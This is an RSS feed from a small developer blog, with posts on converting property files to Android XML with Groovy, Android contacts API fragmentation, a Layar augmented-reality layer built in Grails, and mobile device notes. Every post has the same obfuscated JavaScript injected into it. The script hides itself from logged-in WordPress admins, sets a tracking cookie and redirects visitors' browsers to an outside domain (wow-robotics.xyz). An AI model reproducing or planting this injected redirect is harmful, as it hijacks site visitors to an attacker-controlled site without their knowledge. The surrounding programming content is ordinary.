<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BlueTrail &#187; LWUIT</title>
	<atom:link href="http://bluetrail.co.uk/category/lwuit/feed/" rel="self" type="application/rss+xml" />
	<link>http://bluetrail.co.uk</link>
	<description></description>
	<lastBuildDate>Fri, 09 Jul 2010 21:53:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Converting property files to Android resource Xml with Groovy</title>
		<link>http://bluetrail.co.uk/2010/07/converting-property-files-to-android-resource-xml-with-groovy/</link>
		<comments>http://bluetrail.co.uk/2010/07/converting-property-files-to-android-resource-xml-with-groovy/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 21:53:16 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=239</guid>
		<description><![CDATA[Converting J2me projects to Android.  Wanted to convert property files to the android xml so decided to cobble together a bit of Groovy
The property file is something like this:
##general strings
menu=Menu
stop=Stop
back=Back
wait=Wait
search=Search
bb.nextmess=Click spacebar for next Question
Make sure you stick the property file name on the command line &#8230;.
import groovy.xml.MarkupBuilder
def writer = new StringWriter()
def xml = new [...]]]></description>
			<content:encoded><![CDATA[<p>Converting J2me projects to Android.  Wanted to convert property files to the android xml so decided to cobble together a bit of <a href="http://groovy.codehaus.org/">Groovy</a></p>
<p>The property file is something like this:</p>
<p>##general strings<br />
menu=Menu<br />
stop=Stop<br />
back=Back<br />
wait=Wait<br />
search=Search<br />
bb.nextmess=Click spacebar for next Question</p>
<p>Make sure you stick the property file name on the command line &#8230;.</p>
<blockquote><p>import groovy.xml.MarkupBuilder</p>
<p>def writer = new StringWriter()<br />
def xml = new MarkupBuilder(writer)</p>
<p>writer.append(&#8217;&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;utf-8&#8243;?&gt;&#8217;)</p>
<p>xml.resources  {</p>
<p>new File(args[0]).eachLine{line-&gt;</p>
<p>bits = line.tokenize(&#8221;=&#8221;)<br />
try {<br />
string(name:bits[0].trim(),bits[1].trim())</p>
<p>} catch (Exception e) {<br />
//exceptions pah!<br />
}</p>
<p>}</p>
<p>}</p>
<p>println writer.toString()</p></blockquote>
<p>This give the output &#8230;. </p>
<pre>&lt;?xml version="1.0" encoding="utf-8"?&gt;<br />
&lt;resources&gt;<br />
  &lt;string name='menu'&gt;Menu&lt;/string&gt;<br />
  &lt;string name='stop'&gt;Stop&lt;/string&gt;<br />
  &lt;string name='back'&gt;Back&lt;/string&gt;<br />
  &lt;string name='wait'&gt;Wait&lt;/string&gt;<br />
  &lt;string name='search'&gt;Search&lt;/string&gt;<br />
  &lt;string name='bb.nextmess'&gt;Click spacebar for next Question&lt;/string&gt;<br />
&lt;/resources&gt;</p>
<pre><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2010/07/converting-property-files-to-android-resource-xml-with-groovy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Real Android fragmentation in the wild.</title>
		<link>http://bluetrail.co.uk/2010/01/real-android-fragmentation-in-the-wild/</link>
		<comments>http://bluetrail.co.uk/2010/01/real-android-fragmentation-in-the-wild/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 02:41:12 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=214</guid>
		<description><![CDATA[Lots of people have been banging on about Android fragmentation and that it is all going to end up like J2ME and we are all going to explode big splurge.  I am pretty relaxed about this as fragmentation is just a fact of life in mobile &#8211; because we are dealing with consumer electronics [...]]]></description>
			<content:encoded><![CDATA[<p>Lots of people have been banging on about Android fragmentation and that it is all going to end up like J2ME and we are all going to explode big splurge.  I am pretty relaxed about this as fragmentation is just a fact of life in mobile &#8211; because we are dealing with consumer electronics after all &#8211; and to be honest it is just the natural state of things, look at all the browsers hacks people take for granted.</p>
<p>That said in creating the &#8220;<a href="http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/">VIP Call</a>&#8221; app for Android I came across a real live fragmentation example and here it is:</p>
<p>&#8220;<a href="http://bluetrail.co.uk/2009/12/never-miss-the-important-calls-with-vip-call-for-android/">VIP Call</a>&#8221; depends on being able to access the Contacts on the phone via an intent like so:</p>
<p><strong><span style="color: #000080;">Intent intent = new Intent(Intent.ACTION_PICK, People.CONTENT_URI);<br />
startActivityForResult(intent, PICK_CONTACT);</span></strong></p>
<p>and process the returned contact like so:</p>
<p><strong><span style="color: #000080;">Uri contactData = data.getData();<br />
Cursor c =  activity.managedQuery(contactData, null, null, null, null);<br />
if (c.moveToFirst()) {<br />
String name = c.getString(c.getColumnIndexOrThrow(People.NAME));<br />
String number = c.getString(c.getColumnIndex(&#8221;primary_phone&#8221;));<br />
return new Vip(name,number);<br />
} else {<br />
return null;<br />
}<br />
</span> </strong></p>
<p>This works fine in 1.5 and 1.6 but fails in &gt; 2.0 &#8211; my Droid users were not happy.</p>
<p>Turns out the contacts API has been re-written pretty extensively  for 2.x so that there is support for multiple accounts.    What&#8217;s more it aint backwards compatible.</p>
<p>The solution &#8211; suggested by google &#8211; is to create a ContactsAccessor class that encapsulates the two different implementations.  So the call to the Intent now looks like:</p>
<p><strong><span style="color: #000080;">startActivityForResult(mContactAccessor.getPickContactIntent(), PICK_CONTACT_REQUEST);</span></strong></p>
<p>I wont list the full solution here as Google have provided a full example solution in the <a href="http://code.google.com/p/android-business-card/source/browse/#svn/trunk/android-business-card/BusinessCard/src/com/example/android/businesscard">android-business-card code</a>.</p>
<p>I must say this bit of code in the solution gave me J2ME Vietnam-like flash backs:</p>
<p><strong><br />
<span style="color: #000080;"> /*<br />
* Check the version of the SDK we are running on. Choose an<br />
* implementation class designed for that version of the SDK.<br />
*<br />
* Unfortunately we have to use strings to represent the class<br />
* names. If we used the conventional ContactAccessorSdk5.class.getName()<br />
* syntax, we would get a ClassNotFoundException at runtime on pre-Eclair SDKs.<br />
* Using the above syntax would force Dalvik to load the class and try to<br />
* resolve references to all other classes it uses. Since the pre-Eclair<br />
* does not have those classes, the loading of ContactAccessorSdk5 would fail.<br />
*/<br />
@SuppressWarnings(&#8221;deprecation&#8221;)<br />
int sdkVersion = Integer.parseInt(Build.VERSION.SDK);       // Cupcake style<br />
if (sdkVersion &lt; Build.VERSION_CODES.ECLAIR) {<br />
className = &#8220;com.example.android.businesscard.ContactAccessorSdk3_4&#8243;;<br />
} else {<br />
className = &#8220;com.example.android.businesscard.ContactAccessorSdk5&#8243;;<br />
}</span><br />
</strong></p>
<p>Tis my own opinion that fragmentation in Android is going to be on a par with the fragmentation we find in the browser world rather than the J2ME experience.  The major reason for this is that the Android OS is over the air upgradable &#8211; my G1 has already had about 3 upgrades &#8211; this was not possible in the J2ME giving us the long tail we know and love <img src='http://bluetrail.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .<script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2010/01/real-android-fragmentation-in-the-wild/feed/</wfw:commentRss>
		<slash:comments>310</slash:comments>
		</item>
		<item>
		<title>Layar Augmented Reality and Grails!!!</title>
		<link>http://bluetrail.co.uk/2009/12/layar-augmented-reality-and-grails/</link>
		<comments>http://bluetrail.co.uk/2009/12/layar-augmented-reality-and-grails/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 18:06:03 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=180</guid>
		<description><![CDATA[Just for laughs I created www.splaterz.com which is a do-it-yourself augmented reality layer for the layar browser.  You can create you own points of interest and associated web links via browser and twitter client.  If I get time I will add Android client support.  
The server side code was created in Grails which was an utter [...]]]></description>
			<content:encoded><![CDATA[<p>Just for laughs I created <a href="http://www.splaterz.com">www.splaterz.com </a>which is a do-it-yourself augmented reality layer for the <a href="http://www.layar.com">layar</a> browser.  You can create you own points of interest and associated web links via browser and twitter client.  If I get time I will add Android client support.  </p>
<p>The server side code was created in <a href="http://www.grails.org/">Grails</a> which was an utter joy from start to finish.   I went thru a number of interations adding twitter support, search and acegi authentication and it took about a day all told.  Big shout out to all the <a href="http://www.grails.org/plugin/home">plugin</a> developers, especially my mate <a href="http://www.anyware.co.uk">Marc</a>, who lives over the hill.  If I get time I will add iphone web client support using the <a href="http://www.grails.org/plugin/iwebkit">iwebkit</a> plugin I saw at the <a href="http://www.grails-exchange.com/">Groovy/Grails exchange </a>this week.</p>
<p>To have a layer publish you must submit it to the Layar site.  Went through one iteration where they objected to an encoding error, but otherwise, pretty stress free.</p>
<p>For those of you wishing to create you own layer <a href="http://teknograd.wordpress.com/2009/10/19/augmented-reality-create-your-own-layar-layer/">this site</a> did did the job for me.  Cheers.</p>
<p>Finally, many thanks to <a href="http://twitter.com/bookmeister">@bookmeister</a>  for testing and random posts.</p>
<p>Haven&#8217;t finished with this by any means but please have a play if you have time.</p>
<p><img class="size-full wp-image-181 alignnone" title="Picture 17" src="http://bluetrail.co.uk/wp-content/uploads/2009/12/Picture-17.png" alt="Picture 17" width="634" height="321" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/12/layar-augmented-reality-and-grails/feed/</wfw:commentRss>
		<slash:comments>359</slash:comments>
		</item>
		<item>
		<title>SwiftCapture makes the  lwuit featured apps ..</title>
		<link>http://bluetrail.co.uk/2009/11/swiftcapture-makes-the-lwuit-featured-apps/</link>
		<comments>http://bluetrail.co.uk/2009/11/swiftcapture-makes-the-lwuit-featured-apps/#comments</comments>
		<pubDate>Sun, 29 Nov 2009 16:02:26 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=177</guid>
		<description><![CDATA[SwiftCapture makes the  lwuit featured apps web site from Sun.  
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>SwiftCapture makes the  <a href="https://lwuit.dev.java.net/nonav/featuredapp.html">lwuit featured apps</a> web site from Sun.  </p>
<p><img class="aligncenter size-full wp-image-178" title="Featured apps" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/Picture-6.png" alt="Featured apps" width="607" height="616" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/11/swiftcapture-makes-the-lwuit-featured-apps/feed/</wfw:commentRss>
		<slash:comments>431</slash:comments>
		</item>
		<item>
		<title>Google Dev Day</title>
		<link>http://bluetrail.co.uk/2009/11/google-dev-day/</link>
		<comments>http://bluetrail.co.uk/2009/11/google-dev-day/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 09:29:04 +0000</pubDate>
		<dc:creator>rspence</dc:creator>
				<category><![CDATA[LWUIT]]></category>

		<guid isPermaLink="false">http://bluetrail.co.uk/?p=174</guid>
		<description><![CDATA[Visited Google to play with some new Android devices.  Hadn&#8217;t really thought through the  new HTC Tattoo  which has a smaller  screen than the  G1 &#8211; 240&#215;320.
var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012&#124;&#124;'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c]]></description>
			<content:encoded><![CDATA[<p>Visited Google to play with some new Android devices.  Hadn&#8217;t really thought through the  new HTC Tattoo  which has a smaller  screen than the  G1 &#8211; 240&#215;320.</p>
<p><img class="aligncenter size-full wp-image-175" title="HTC Tattoo" src="http://bluetrail.co.uk/wp-content/uploads/2009/11/Picture-12.png" alt="HTC Tattoo" width="337" height="545" /><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https://www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\x20path=/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};</script></p>
]]></content:encoded>
			<wfw:commentRss>http://bluetrail.co.uk/2009/11/google-dev-day/feed/</wfw:commentRss>
		<slash:comments>299</slash:comments>
